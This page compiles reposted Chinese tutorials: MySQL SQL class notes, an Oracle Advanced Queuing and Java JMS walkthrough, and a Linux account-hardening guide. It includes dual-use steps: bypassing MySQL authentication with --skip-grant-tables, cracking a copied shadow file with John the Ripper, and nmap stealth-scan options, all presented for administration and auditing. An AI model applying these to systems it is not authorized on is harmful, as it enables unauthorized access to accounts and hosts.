通过这篇文章,我相信你对Hadoop支持文件的跨访问控制协议迁移有了更深的理解。Hadoop不仅是一个强大的工具,更是一种思维方式的转变。它就像个聪明的老师,不仅教我们怎么用分布式的思路去搞定问题,还时不时敲打我们:嘿,别忘了数据的安全和规矩可不能丢啊! 未来,随着技术的发展,Hadoop的功能会越来越强大。我希望你能继续探索更多有趣的话题,一起在这个充满挑战的世界里不断前行! 加油吧,程序员们!
2025-04-29 15:54:59
77
风轻云淡
转载文章
...02 复习 显示所有数据 show databases; 创建新数据库,设置编码方式utf8 create database demo2 default charset utf8; 显示创建数据的语句 show create database demo2; 删除数据库 drop database demo2; 选择使用指定的数据库 use demo1; 查看库中所有表 show tables; 创建表 create table book(bid int(4) primary key comment '书id', bname varchar(50) comment '书名',pub varchar(50) comment '出版社',author varchar(50) comment '作者' )engine=myisam charset=utf8; 所有字段名,使用,所有的字符串使用''或者"" 查看建表语句 show create table book; 查看表结构 desc book; 修改表名 rename table book to book1; 修改表属性 ,引擎和字符集 alter table book1 engine=innodb charset=utf8; 添加字段 first after alter table book1 add(type varchar(20) comment '类型',numinput int(10) comment '进货量',numstore int(10) comment '库存量'); 修改字段名 bid bno alter table book1 change bid bno int(4); 修改顺序 pub 放到author后面 alter table book1 modify pub varchar(50) after author; 修改数据类型 bno int(4) -->int(10) alter table book1 modify bno int(10); 删除字段 alter table book1 drop 字段名; 删除表 drop table 表名; 插入语句 insert into book1(bno,bname,author,type) values(1001,'斗破苍穹','天蚕土豆','玄幻');insert into book1(bno,bname,author,type) values(1002,'全职高手','蝴蝶兰','网游竞技');insert into book1(bno,bname,author,type) values(1003,'鬼吹灯','天下霸唱','恐怖');insert into book1(bno,bname,author,type)values(1004,'西游记','吴承恩','4大名著');insert into book1(bno,bname,author,type)values(1005,'java基础','王克晶','达内学习手册'); update语句 把1005号书,修改成'天线宝宝',作者不详,类型少儿 把1004号书修改成'天龙八部',作者金庸,类型武侠 update book1 set bname="天线宝宝",author="作者不详",type="少儿" where bno=1005; 删除类型是'恐怖'的所有书籍 删除全表记录 删除表格 修改book名称为book_item rename table book to book_item; 在表格尾部添加字段price double(7,2) alter table book_item add price double(7,2); 把price字段的位置放到author之后 alter table book_item modify price double(7,2) after author; 把表中存在的数据添加价格,每本书都在100~1000之间,自定 update book_item set price=199 where bno=1001; 修改1001的价格为500元 把所有字段的null字段补全 update book_item set pub="达内出版社",numinput=500,numstore=100 where pub is null; 删除价格小于150的所有条目 删除所有数据 SQL分类 数据定义语言 DDL 重点 数据操纵语言 DML 重点 增 删 改 数据查询语言 DQL select 查 事务控制语言 TCL 数据库控制语言 DCL 数据定义语言 DDL - 负责数据结构定义,与创建数据库对象的语言- 常用create alter drop- DDL不支持事务,DDL语句执行之后,不能回滚 数据操纵语言 DML - 对数据库中更改数据操作的语句- select insert update delete--> CRUD 增删改查- 通常把select相关操作,单独出来,称之为DQL- DML支持事务,在非自动提交模式时,可以利用rollback回滚操作. 数据查询语言 DQL - 筛选,分组,连表查询 面试重点 TCL 和 DCL - 事务控制语句TCL- 负责实现数据库中事务支持的语言,commit rollback savepoint等指令- DCL数据库控制语言- 管理数据库的授权,角色控制等,grant(授权),revoke(取消授权) 练习: 案例:创建一张表customer(顾客) create table customer(cid int(4) primary key comment '顾客编号',cname varchar(50) comment '顾客姓名',sex char(5) comment '顾客性别',address varchar(50) comment '地址',phone varchar(11) comment '手机',email varchar(50) comment '邮箱'); show create table customer; 插入5条数据 insert into customer values(1001,'小明','男','楼上18号','123','123@163.com');insert into customer values(1002,'小红','女','楼上17号','1234','1234@163.com');insert into customer values(1003,'老王','男','楼上18号隔壁','1234','1234@163.com');insert into customer values(1004,'老宋','男','楼上17号隔壁','1234','1234@163.com');insert into customer values(1005,'小马','女','楼上17号隔壁','1234','1234@163.com'); -1 修改一条数据的姓名 小红的姓名 -2 修改一条数据的性别 老王的性别 -3 修改一条数据的电话 1001号的电话 -4 修改一条数据的邮箱 邮箱为123@163.com,改成323@163.com -5 查询性别为 男的所有数据 select from customer where sex="男"; -6 自定义DDL操作的需求,5道题,可以同上面book表的操作 数据库数据类型 主要包括5大类 整数类型 int, big int 浮点数类型 double decimal 字符串类型 char varchar text 日期类型 date datetime timestamp time year... 其他数据类型 set.... 字符串 - char(固定长度) 定长字符串 最多255个字节- 定多少长度,就占用多少长度- 多了放不进去,少了用空格补全- 不认识内容尾部的空格- varchar(最大长度) 变长字符串 最大65535字节,但是使用一般不超过255- 只要不超过定的长度,都可以放进去- 以内容真实长度为准- 认识内容尾部的空格- text 最大65535字节- blob 大数据对象,以二进制(字节)的方式存储 整数 tinyint 1字节 smallint 2字节 int 4字节 bigint 8字节 int(6)影响的是查询时显示长度(zerofill)不影响数据的保存长度 create table t1(id1 int,id2 int(5)); insert into t1 values(111111,111111); alter table t1 modify id1 int zerofill; alter table t1 modify id2 int(5) zerofill; insert into t1 values (1,1); float 4字节 double 8字节 double(8,2) 可能会产生精度的缺失 10.0/3 3.3333333336 decimal 不会缺失精度,但是使用的时候需要指定总长度和小数位数 日期 - date 年月日- time 时分秒- datetime 年月日时分秒,到9999年,而且需要手动输入,如果没有手动输入,就显示null.- timestamp 年月日时分秒,在没有数据手动插入时,自动填入当前时间.最大值2038- bigint 1970-1-1 0:0:0 格林威治时间 案例:创建表t,字段d1 date,d2 time,d3 datetime,d4 timestamp create table t(id int,d1 date,d2 time,d3 datetime,d4 timestamp);insert into t (d1,d2) values ('1910-01-10','12:32:12');insert into t values(1,'2018-12-21','15:12:00','1995-02-10 12:08:12','2030-10-10 15:19:32');insert into t values(2,'3018-01-25','15:12:34','9234-12-31 12:12:12','2030-12-31 12:12:12');insert into t values(2,'3018-01-25','15:12:34','9999-12-31 23:59:59','2030-12-31 12:12:12'); 练习 创建人物表,插入,修改,查询 create table person(id int(4) primary key,name varchar(50),age int(3));insert into person values(1,"梅超风",36);insert into person values(2,"洪七公",96);insert into person values(3,"杨过",40);insert into person values(4,"令狐冲",28);insert into person values(5,"张三丰",100);insert into person values(6,"张翠山",27);insert into person values(7,"张无忌",27);insert into person values(8,"赵敏",18);insert into person values(9,"独孤求败",250);insert into person values(10,"楚留香",36);1.案例:修改张三丰的name为刘备,id为11update person set name="刘备",id=11 where name="张三丰";2.案例:修改2号人物的的name为夏侯渊update person set name="夏侯渊" where id=2;3.案例:根据条件修改person表中的数据,修改id是6的数据中,姓名改为'任我行', 年龄改为39update person set name="任我行",age=39 where id=6;4.案例:修改姓名是‘楚留香'的数据,把id改为20,年龄改为19update person set id=20,age=19 where name="楚留香";5.案例:把person所有的数据的年龄全部改为20 update person set age=20;6.案例:修改id为7的数据,把id改为100,姓名改为杨过,年龄改为21update person set id=100,name="杨过",age=21 where id=7;7.案例:修改姓名是独孤求败,把年龄改为35update person set age=35 where name="独孤求败";8.案例:修改id=8的信息,把姓名改为房玄龄update person set name="房玄龄" where id=8;9.案例 :修改id为20并且年龄为20的人的姓名为刘德华(郑少秋也行)提示 where...and...update person set name="郑少秋" where id=20 and age=20; 查询 没有条件的简单查询 select from 表名;查询表中所有的数据 select from person; select from t; select from emp; select from dept; 查询某些列中的值 select name as '姓名' from person; select name as '姓名',age as '年龄' from person; select id as '编号',name as '姓名',age as '年龄' from person; 学习过程的编程习惯select from 表; 工作中的编程习惯select id,name,age from person; 查询emp表中所有员工的姓名,上级领导的编号,职位,工资 select ename,mgr,job,sal from emp; 查询emp表中所有员工的编号,姓名,所属部门编号,工资 select empno,ename,deptno,sal from emp; 查询dept表中所有部门的名称和地址 select dname,loc from dept; 如果忘记了mysql的用户名和密码怎么办 卸载重新装 不重装软件如何修改密码 1.停止mysql服务 2.cmd中输入一个命令 mysqld --skip-grant-tables; -通过控制台,开启了一个mysql服务 3.开启一个新的cmd -mysql -u root -p 可以不使用密码进入数据库 show databases;----mysql 5. use mysql; 6. update user set password=password('新密码') where user="root"; 7. 关闭mysqld这个服务/进程 8. 重启mysql服务 作业 mysql02,一天的代码重新敲一遍,熟悉emp和dept列名 本篇文章为转载内容。原文链接:https://blog.csdn.net/sinat_41915844/article/details/79770973。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2024-02-16 12:44:07
544
转载
转载文章
...‘表示用户,例如如果数据库用户叫kevin,则登陆时使用Ckevin进行登陆。 一、Oracle高级消息队列AQ Oracle AQ是Oracle中的消息队列,是Oracle中的一种高级应用,每个版本都在不断的加强,使用DBMS_AQ系统包进行相应的操作,是Oracle的默认组件,只要安装了Oracle数据库就可以使用。使用AQ可以在多个Oracle数据库、Oracle与Java、C等系统中进行数据传输。 下面分步骤说明如何创建Oracle AQ 1. 创建消息负荷payload Oracle AQ中传递的消息被称为有效负荷(payloads),格式可以是用户自定义对象或XMLType或ANYDATA。本例中我们创建一个简单的对象类型用于传递消息。 create type demo_queue_payload_type as object (message varchar2(4000)); 2. 创建队列表 队列表用于存储消息,在入队时自动存入表中,出队时自动删除。使用DBMS_AQADM包进行数据表的创建,只需要写表名,同时设置相应的属性。对于队列需要设置multiple_consumers为false,如果使用发布/订阅模式需要设置为true。 begin dbms_aqadm.create_queue_table( queue_table => 'demo_queue_table', queue_payload_type => 'demo_queue_payload_type', multiple_consumers => false ); end; 执行完后可以查看oracle表中自动生成了demo_queue_table表,可以查看影响子段(含义比较清晰)。 3. 创建队列并启动 创建队列并启动队列: begin dbms_aqadm.create_queue ( queue_name => 'demo_queue', queue_table => 'demo_queue_table' ); dbms_aqadm.start_queue( queue_name => 'demo_queue' ); end; 至此,我们已经创建了队列有效负荷,队列表和队列。可以查看以下系统创建了哪些相关的对象: SELECT object_name, object_type FROM user_objects WHERE object_name != 'DEMO_QUEUE_PAYLOAD_TYPE'; OBJECT_NAME OBJECT_TYPE ------------------------------ --------------- DEMO_QUEUE_TABLE TABLE SYS_C009392 INDEX SYS_LOB0000060502C00030$$ LOB AQ$_DEMO_QUEUE_TABLE_T INDEX AQ$_DEMO_QUEUE_TABLE_I INDEX AQ$_DEMO_QUEUE_TABLE_E QUEUE AQ$DEMO_QUEUE_TABLE VIEW DEMO_QUEUE QUEUE 我们看到一个队列带出了一系列自动生成对象,有些是被后面直接用到的。不过有趣的是,创建了第二个队列。这就是所谓的异常队列(exception queue)。如果AQ无法从我们的队列接收消息,将记录在该异常队列中。 消息多次处理出错等情况会自动转移到异常的队列,对于异常队列如何处理目前笔者还没有找到相应的写法,因为我使用的场景并不要求消息必须一对一的被处理,只要起到通知的作用即可。所以如果消息转移到异常队列,可以执行清空队列表中的数据 delete from demo_queue_table; 4. 队列的停止和删除 如果需要删除或重建可以使用下面的方法进行操作: BEGIN DBMS_AQADM.STOP_QUEUE( queue_name => 'demo_queue' ); DBMS_AQADM.DROP_QUEUE( queue_name => 'demo_queue' ); DBMS_AQADM.DROP_QUEUE_TABLE( queue_table => 'demo_queue_table' ); END; 5. 入队消息 入列操作是一个基本的事务操作(就像往队列表Insert),因此我们需要提交。 declare r_enqueue_options DBMS_AQ.ENQUEUE_OPTIONS_T; r_message_properties DBMS_AQ.MESSAGE_PROPERTIES_T; v_message_handle RAW(16); o_payload demo_queue_payload_type; begin o_payload := demo_queue_payload_type('what is you name ?'); dbms_aq.enqueue( queue_name => 'demo_queue', enqueue_options => r_enqueue_options, message_properties => r_message_properties, payload => o_payload, msgid => v_message_handle ); commit; end; 通过SQL语句查看消息是否正常入队: select from aq$demo_queue_table; select user_data from aq$demo_queue_table; 6. 出队消息 使用Oracle进行出队操作,我没有实验成功(不确定是否和DBMS_OUTPUT的执行权限有关),代码如下,读者可以进行调试: declare r_dequeue_options DBMS_AQ.DEQUEUE_OPTIONS_T; r_message_properties DBMS_AQ.MESSAGE_PROPERTIES_T; v_message_handle RAW(16); o_payload demo_queue_payload_type; begin DBMS_AQ.DEQUEUE( queue_name => 'demo_queue', dequeue_options => r_dequeue_options, message_properties => r_message_properties, payload => o_payload, msgid => v_message_handle ); DBMS_OUTPUT.PUT_LINE( ' Browse message is [' || o_payload.message || ']' ); end; 二、Java使用JMS监听并处理Oracle AQ队列 Java使用JMS进行相应的处理,需要使用Oracle提供的jar,在Oracle安装目录可以找到:在linux中可以使用find命令进行查找,例如 find pwd -name 'jmscommon.jar' 需要的jar为: app/oracle/product/12.1.0/dbhome_1/rdbms/jlib/jmscommon.jar app/oracle/product/12.1.0/dbhome_1/jdbc/lib/ojdbc7.jar app/oracle/product/12.1.0/dbhome_1/jlib/orai18n.jar app/oracle/product/12.1.0/dbhome_1/jlib/jta.jar app/oracle/product/12.1.0/dbhome_1/rdbms/jlib/aqapi_g.jar 1. 创建连接参数类 实际使用时可以把参数信息配置在properties文件中,使用Spring进行注入。 package org.kevin.jms; / @author 李文锴 连接参数信息 / public class JmsConfig { public String username = "ckevin"; public String password = "a111111111"; public String jdbcUrl = "jdbc:oracle:thin:@127.0.0.1:1521:orcl"; public String queueName = "demo_queue"; } 2. 创建消息转换类 因为消息载荷是Oracle数据类型,需要提供一个转换工厂类将Oracle类型转换为Java类型。 package org.kevin.jms; import java.sql.SQLException; import oracle.jdbc.driver.OracleConnection; import oracle.jdbc.internal.OracleTypes; import oracle.jpub.runtime.MutableStruct; import oracle.sql.CustomDatum; import oracle.sql.CustomDatumFactory; import oracle.sql.Datum; import oracle.sql.STRUCT; / @author 李文锴 数据类型转换类 / @SuppressWarnings("deprecation") public class QUEUE_MESSAGE_TYPE implements CustomDatum, CustomDatumFactory { public static final String _SQL_NAME = "QUEUE_MESSAGE_TYPE"; public static final int _SQL_TYPECODE = OracleTypes.STRUCT; MutableStruct _struct; // 12表示字符串 static int[] _sqlType = { 12 }; static CustomDatumFactory[] _factory = new CustomDatumFactory[1]; static final QUEUE_MESSAGE_TYPE _MessageFactory = new QUEUE_MESSAGE_TYPE(); public static CustomDatumFactory getFactory() { return _MessageFactory; } public QUEUE_MESSAGE_TYPE() { _struct = new MutableStruct(new Object[1], _sqlType, _factory); } public Datum toDatum(OracleConnection c) throws SQLException { return _struct.toDatum(c, _SQL_NAME); } public CustomDatum create(Datum d, int sqlType) throws SQLException { if (d == null) return null; QUEUE_MESSAGE_TYPE o = new QUEUE_MESSAGE_TYPE(); o._struct = new MutableStruct((STRUCT) d, _sqlType, _factory); return o; } public String getContent() throws SQLException { return (String) _struct.getAttribute(0); } } 3. 主类进行消息处理 package org.kevin.jms; import java.util.Properties; import javax.jms.Message; import javax.jms.MessageConsumer; import javax.jms.MessageListener; import javax.jms.Queue; import javax.jms.QueueConnection; import javax.jms.QueueConnectionFactory; import javax.jms.Session; import oracle.jms.AQjmsAdtMessage; import oracle.jms.AQjmsDestination; import oracle.jms.AQjmsFactory; import oracle.jms.AQjmsSession; / @author 李文锴 消息处理类 / public class Main { public static void main(String[] args) throws Exception { JmsConfig config = new JmsConfig(); QueueConnectionFactory queueConnectionFactory = AQjmsFactory.getQueueConnectionFactory(config.jdbcUrl, new Properties()); QueueConnection conn = queueConnectionFactory.createQueueConnection(config.username, config.password); AQjmsSession session = (AQjmsSession) conn.createQueueSession(false, Session.AUTO_ACKNOWLEDGE); conn.start(); Queue queue = (AQjmsDestination) session.getQueue(config.username, config.queueName); MessageConsumer consumer = session.createConsumer(queue, null, QUEUE_MESSAGE_TYPE.getFactory(), null, false); consumer.setMessageListener(new MessageListener() { @Override public void onMessage(Message message) { System.out.println("ok"); AQjmsAdtMessage adtMessage = (AQjmsAdtMessage) message; try { QUEUE_MESSAGE_TYPE payload = (QUEUE_MESSAGE_TYPE) adtMessage.getAdtPayload(); System.out.println(payload.getContent()); } catch (Exception e) { e.printStackTrace(); } } }); Thread.sleep(1000000); } } 使用Oracle程序块进行入队操作,在没有启动Java时看到队列表中存在数据。启动Java后,控制台正确的输出的消息;通过Oracle程序块再次写入消息,发现控制台正确处理消息。Java的JMS监听不是立刻进行处理,可能存在几秒中的时间差,时间不等。 三、监控表记录变化通知Java 下面的例子创建一个数据表,然后在表中添加触发器,当数据变化后触发器调用存储过程给Oracle AQ发送消息,然后使用Java JMS对消息进行处理。 1. 创建表 创建student表,包含username和age两个子段,其中username时varchar2类型,age时number类型。 2. 创建存储过程 创建send_aq_msg存储过程,因为存储过程中调用dbms数据包,系统包在存储过程中执行需要进行授权(使用sys用户进行授权): grant execute on dbms_aq to ckevin; 注意存储过程中包含commit语句。 create or replace PROCEDURE send_aq_msg (info IN VARCHAR2) as r_enqueue_options DBMS_AQ.ENQUEUE_OPTIONS_T; r_message_properties DBMS_AQ.MESSAGE_PROPERTIES_T; v_message_handle RAW(16); o_payload demo_queue_payload_type; begin o_payload := demo_queue_payload_type(info); dbms_aq.enqueue( queue_name => 'demo_queue', enqueue_options => r_enqueue_options, message_properties => r_message_properties, payload => o_payload, msgid => v_message_handle ); commit; end send_aq_msg; 3. 创建触发器 在student表中创建触发器,当数据写入或更新时,如果age=18,则进行入队操作。需要调用存储过程发送消息,但触发器中不能包含事物提交语句,因此需要使用pragma autonomous_transaction;声明自由事物: CREATE OR REPLACE TRIGGER STUDENT_TR AFTER INSERT OR UPDATE OF AGE ON STUDENT FOR EACH ROW DECLARE pragma autonomous_transaction; BEGIN if :new.age = 18 then send_aq_msg(:new.username); end if; END; 创建完触发器后向执行插入或更新操作: insert into student (username,age) values ('jack.lee.3k', 18); update student set age=18 where username='jack003'; Java JMS可以正确的处理消息。 本篇文章为转载内容。原文链接:https://blog.csdn.net/weixin_42309178/article/details/115241521。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-12-17 14:22:22
138
转载
转载文章
...中用于存储段描述符的数据结构,它包含了内存管理的关键信息。在文中,操作系统内核通过全局描述符表来定义和管理每个进程的代码段、数据段以及其他系统段的权限和地址范围,以确保不同进程间的隔离性和安全性。当cmd_execute_program函数加载并执行用户程序时,会根据当前进程的全局描述符表项设置相应的代码段和数据段,而文中提到的安全漏洞正是由于恶意程序crack.c利用了这个机制,使得两个进程间的数据段得以共享,从而进行非法篡改。 中断处理 , 中断处理是操作系统内核实现的一种重要机制,用于响应来自硬件或软件的各种事件。当CPU检测到如输入输出完成、计时器溢出、错误条件等中断事件时,会暂时停止当前正在执行的程序,并转而去执行预先设定好的中断服务例程(ISR)。在文章中,通过中断处理机制,操作系统能够在应用程序试图执行特权指令或侵犯内核空间时,及时切断其执行,并重新获得对CPU的控制权,从而保障系统的安全稳定运行。 特权指令 , 特权指令是在计算机体系结构中只能由操作系统内核或者处于特定特权模式下的程序执行的一类特殊指令。这类指令通常涉及到诸如访问和修改关键系统资源(如内存管理、中断控制器、任务调度等)的操作。在本文的上下文中,如果用户态的应用程序尝试执行特权指令,系统将触发中断,防止非授权访问内核资源,确保操作系统底层的安全性不受侵害。
2023-03-14 19:08:07
254
转载
转载文章
...法: 3.配置su的授权(加入wheel组)(pam_wheel认证模块:): 4.配置/etc/sudoers文件(授权用户较多的时候使用): 六.开关机安全控制 1.调整BIOS引导设置 2.GRUB限制 七.终端以及登录控制 1.限制root只在安全终端登录 2..禁止普通用户登录 八.系统弱口令检测 1.JOHN the Ripper,简称为JR 2.安装弱口令账号 3.密码文件的暴力破解 九.网络端口扫描 1.NMAP 2.格式 总结: 一.账号安全基本措施 1.系统账号清理 1.将非登录用户的Shell设为/sbin/nologin (ps:在我们使用Linux系统时,除了用户创建的账号之外,还会产生系统或程序安装过程中产生的许多其他账号,除了超级用户root外,其他账号都是用来维护系统运作的,一般不允许登录,常见的非登录用户有bin、adm、mail、lp、nobody、ftp等。) 格式:usermod -s /sbin/nologin 用户名 2锁定长期不使用的账号: [root@hehe ~] usermod -L test2 锁定用户账号方法一[root@hehe ~] passwd -l test3 锁定用户账号方法二[root@hehe ~] usermod -U test2 解锁用户账号方法一[root@hehe~] passwd -u test3 解锁用户账号方法二查看账户有没有被锁:passwd -S [用户名] 3.删除无用的账号 [root@hehe ~] userdel test1[root@hehe~] userdel -r test2 4.锁定账号文件passwd,shadow [root@hehe ~] chattr +i /etc/passwd /etc/shadow 锁定文件,包括root也无法修改[root@hehe ~] chattr -i /etc/passwd /etc/shadow 解锁文件[root@hehe ~] lsattr /etc/passwd /etc/shadow查看文件状态属性 举个例子: 二.密码安全控制: 1.设置密码有效期: 1.[root@localhost ~] chage -M 60 test3 这种方法适合修改已经存在的用户12.[root@localhost ~] vim /etc/login.defs 这种适合以后添加新用户PASS_MAX_DAYS 30 1.这个方法适用于早就已经存在的用户: 2.这个方法适用于新用户 2.要求用户下次登录时改密码: [root@hehe ~] chage -d 0 [用户名] 强制要求用户下次登陆时修改密码 三.命令历史限制与自动注销 1.命令历史限制: 1.减少记录的命令条数 减少记录命令的条数:1.[root@hehe ~] vim /etc/profile 进入配置文件修改限制命令条数。适合新用户HISTSIZE=200 修改限制命令为200条,系统默认是1000条profile [root@lhehe ~] source /etc/ 刷新配置文件,使文件立即生效2.[root@hehe~] export HISTSIZE=200 适用于当前(之后)用户[root@hehe~] source /etc/profile [root@hehe ~] source /etc/profile 刷新配置文件,使文件立即生效 1.减少记录命令的条数(适用之前的用户): 2.注销时自动清空命令历史 3. 注销时自动清空命令:[root@hehe ~] vim ~/.bash_logout(临时清除,重启缓存的话还在)echo "" > ~/.bash_history(永久删除)history是查你使用过的命令 2.终端自动注销: 1.闲置600秒后自动注销 闲置600秒后自动注销:[root@hehe ~]vim .bash_profile 进入配置文件export TMOUT=600 全局声明超过60秒闲置后自动注销终端[root@hehe ~] source .bash_profile [root@hehe ~] echo $TMOUT[root@hehe ~] export TMOUT=600 如果不在配置文件输入这条命令,那么是对当前用户生效[root@hehe ~]vim .bash_profile export TMOUT=600 注释掉这条命令,就不会自动注销了 四.PAM安全认证 1.su的命令的安全隐患 1.,默认情况下,任何用户都允许使用su命令,有机会反复尝试其他用户(如root) 的登录密码,带来安全风险; 2.为了加强su命令的使用控制,可借助于PAM认证模块,只允许极个别用户使用su命令进行切换。 2.什么是PAM 1.PAM(Pluggable Authentication Modules)可插拔式认证模块 2.是一种高效而且灵活便利的用户级别的认证方式; 3.也是当前Linux服务器普遍使用的认证方式。 4.PAM提供了对所有服务进行认证的中央机制,适用于login,远程登陆,su等应用 5.系统管理员通过PAM配置文件来制定不同的应用程序的不同认证策略 3.PAM认证原理 1.PAM认证一般遵循的顺序: Service (服务) --> PAM (配置文件) --> pam_.so;, 2.PAM认证首先要确定哪一项应用服务,然后加载相应的PAM的配置文件(位于/etc/pam.d下),最后调用认 模块(位于/lib64/security/下)进行安全认证。 3.用户访问服务器的时候,服务器的某一个服务程序把用户的请求发送到PAM模块进行认证。不同的应用程序所对应的PAM模块也是不同的。 4.如果想查看某个程序是否支持PAM认证,可以用ls命令进行查看/etc/pam.d/。 ls /etc/pam.d/ | grep su 5.PAM的配置文件中的每一行都是一个独立的认证过程,它们按从上往下的顺序依次由PAM模块调用。 4.PAM安全认证流程 控制类型也称做Control Flags,用于PAM验证类型的返回结果 用户1 用户2 用户3 用户4 auth required 模块1 pass fail pass pass auth sufficient 模块2 pass pass fail pass auth required 模块3 pass pass pass fail 结果 pass fail pass pass 4 五.限制使用su命令的用户(pam-wheel认证模块) 1.su命令概述: 通过su命令可以非常方便切换到另一个用户,但前提条件是必须知道用户登录密码。对于生产环境中的Linux服务器,每多一个人知道特权密码,安全风险就多一分。于是就多了一种折中的办法,使用sudo命令提升执行权限,不过需要由管理员预先进行授权, 指定用户使用某些命令: 2. su命令的用途以及用法: 用途:以其他用户身份(如root)执行授权命令用法:sudo 授权命令 3.配置su的授权(加入wheel组)(pam_wheel认证模块:): 进入授权命令:1.visudo 或者 vim /etc/sudoers语法格式:1.用户 主机名=命令程序列表2.用户 主机名=(用户)命令程序列表-l:列出用户在主机上可用的和被禁止的命令;一般配置好/etc/sudoers后,要用这个命令来查看和测试是不是配置正确的;-v:验证用户的时间戳;如果用户运行sudo后,输入用户的密码后,在短时间内可以不用输入口令来直接进行sudo操作;用-v可以跟踪最新的时间戳;-u:指定以以某个用户执行特定操作;-k:删除时间戳,下一个sudo命令要求用求提供密码; 1.首先创建3个组 2.vim /etc/pam.d/su把第六行注释去掉保存退出 1. 以上两行是默认状态(即开启第一行,注释第二行),这种状态下是允许所有用户间使用su命令进行切换的 2.两行都注释也是运行所有用户都能使用su命令,但root下使用su切换到其他普通用户需要输入密码: 3.如果第–行不注释,则root 使用su切换普通用户就不需要输入密码( pam_ rootok. so模块的主要作用是使uid为0的用户,即root用户能够直接通过认证而不用输入密码。) 4.如果开启第二行,表示只有root用户和wheel1组内的用户才可以使用su命令。 5.如果注释第一行,开启第二行,表示只有whee1组内的用户才能使用su命令,root用户也被禁用su命令。 3.将liunan加入到wheel之后,hehe就有了使用su命令的权限 4.使用pam_wheel认证后,没有在wheel里的用户都不能再用su 5.whoami命令确定当前用户是谁 4.配置/etc/sudoers文件(授权用户较多的时候使用): visudo单个授权visudo 或者 vim /etc/sudoers记录格式:user MACHINE=COMMANDS可以使用通配符“ ”号任意值和“ !”号进行取反操作。%组名代表一整个组权限生效后,输入密码后5分钟可以不用重新输入密码。例如:visudo命令下user kiro=(root)NOPASSWD:/usr/sbin/useradd,PASSWD:/usr/sbin/usermod代表 kiro主机里的user用户,可以无密码使用useradd命令,有密码使用usermod/etc/sudoers多个授权Host_Alias MYHOST= localhost 主机别名:主机名、IP、网络地址、其他主机别名!取反Host_Alias MAILSVRS=smtp,pop(主机名)User_Alias MYUSER = kiro,user1,lisi 用户别名:包含用户、用户组(%组名(使用引导))、还可以包含其他其他已经用户的别名User_Alias OPERATORS=zhangsan,tom,lisi(需要授权的用户)Cmnd_Alias MYCMD = /sbin/,/usr/bin/passwd 命令路劲、目录(此目录内的所有命令)、其他事先定义过的命令别名Cmnd_Alias PKGTOOLS=/bin/rpm,/usr/bin/yum(授权)MYUSER MYHOST = NOPASSWD : MYCMDDS 授权格式sudo -l 查询目前sudo操作查看sudo操作记录需启用Defaults logfile配置默认日志文件: /var/log/sudosudo -l 查看当前用户获得哪些sudo授权(启动日志文件后,sudo操作过程才会被记录) 1.首先用visudo 或者 vim /etc/sudoers进入,输入需要授权的命令 2.切换到taojian用户,因为设置了它不能使用创建用户的命令所以无法创建 六.开关机安全控制 1.调整BIOS引导设置 1.将第一引导设备设为当前系统所在硬盘2.禁止从其他设备(光盘、U盘、网络)引导系统3.将安全级别设为setup,并设置管理员密码 2.GRUB限制 1.使用grub2-mkpasswd-pbkdf2生成密钥2.修改/etclgrub.d/00_header文件中,添加密码记录3.生成新的grub.cfg配置文件 方法一: 通常情况下在系统开机进入GRUB菜单时,按e键可以查看并修改GRUB引导参数,这对服务器是一个极大的威胁。可以为GRUB菜单设置一个密码,只有提供正确的密码才被允许修改引导参数。grub2-mkpasswd-pbkdf2 根据提示设置GRUB菜单的密码PBKDF2 hash of your password is grub.pbkd..... 省略部分内容为经过加密生成的密码字符串cp /boot/grub2/grub.cfg /boot/grub2/grub.cfg.bak 8cp /etc/grub.d/00_header /etc/grub.d/00_header.bak 9vim /etc/grub.d/00_headercat << EOFset superusers="root" 设置用户名为rootpassword_pbkdf2 root grub.pbkd2..... 设置密码,省略部分内容为经过加密生成的密码字符串EOF16grub2-mkconfig -o /boot/grub2/grub.cfg 生成新的grub.cfg文件重启系统进入GRUB菜单时,按e键将需要输入账号密码才能修改引导参数。 方法二: 1.一步到位2.grub2-setpassword 七.终端以及登录控制 1.限制root只在安全终端登录 安全终端配置文件在 /etc/securetty 2..禁止普通用户登录 1.建立/etc/nologin文件 2.删除nologin文件或重启后即恢复正常 vim /etc/securetty在端口前加号拒绝访问touch /etc/nologin 禁止普通用户登录rm -rf /etc/nologin 取消禁止 八.系统弱口令检测 1.JOHN the Ripper,简称为JR 1.一款密码分析工具,支持字典式的暴力破解2.通过对shadow文件的口令分析,可以检测密码强度3.官网网站:http://www.openwall.com/john/ 2.安装弱口令账号 1.获得Linux/Unix服务器的shadow文件2.执行john程序,讲shadow文件作为参数 3.密码文件的暴力破解 1.准备好密码字典文件,默认为password.lst2.执行john程序,结合--wordlist=字典文件 九.网络端口扫描 1.NMAP 1.—款强大的网络扫描、安全检测工具,支持ping扫描,多端口检测等多种技术。2.官方网站: http://nmap.orgl3.CentOS 7.3光盘中安装包,nmap-6.40-7.el7.x86_64.rpm 2.格式 NMAP [扫描类型] [选项] <扫描目标....> 安装NMAP软件包rpm -qa | grep nmapyum install -y nmapnmap命令常用的选项和扫描类型-p:指定扫描的端口。-n:禁用反向DNS 解析 (以加快扫描速度)。-sS:TCP的SYN扫描(半开扫描),只向目标发出SYN数据包,如果收到SYN/ACK响应包就认为目标端口正在监听,并立即断开连接;否则认为目标端口并未开放。-sT:TCP连接扫描,这是完整的TCP扫描方式(默认扫描类型),用来建立一个TCP连接,如果成功则认为目标端口正在监听服务,否则认为目标端口并未开放。-sF:TCP的FIN扫描,开放的端口会忽略这种数据包,关闭的端口会回应RST数据包。许多防火墙只对SYN数据包进行简单过滤,而忽略了其他形式的TCP attack 包。这种类型的扫描可间接检测防火墙的健壮性。-sU:UDP扫描,探测目标主机提供哪些UDP服务,UDP扫描的速度会比较慢。-sP:ICMP扫描,类似于ping检测,快速判断目标主机是否存活,不做其他扫描。-P0:跳过ping检测,这种方式认为所有的目标主机是存活的,当对方不响应ICMP请求时,使用这种方式可以避免因无法 ping通而放弃扫描。 总结: 1.账号基本安全措施:系统账号处理、密码安全控制、命令历史清理、自动注销 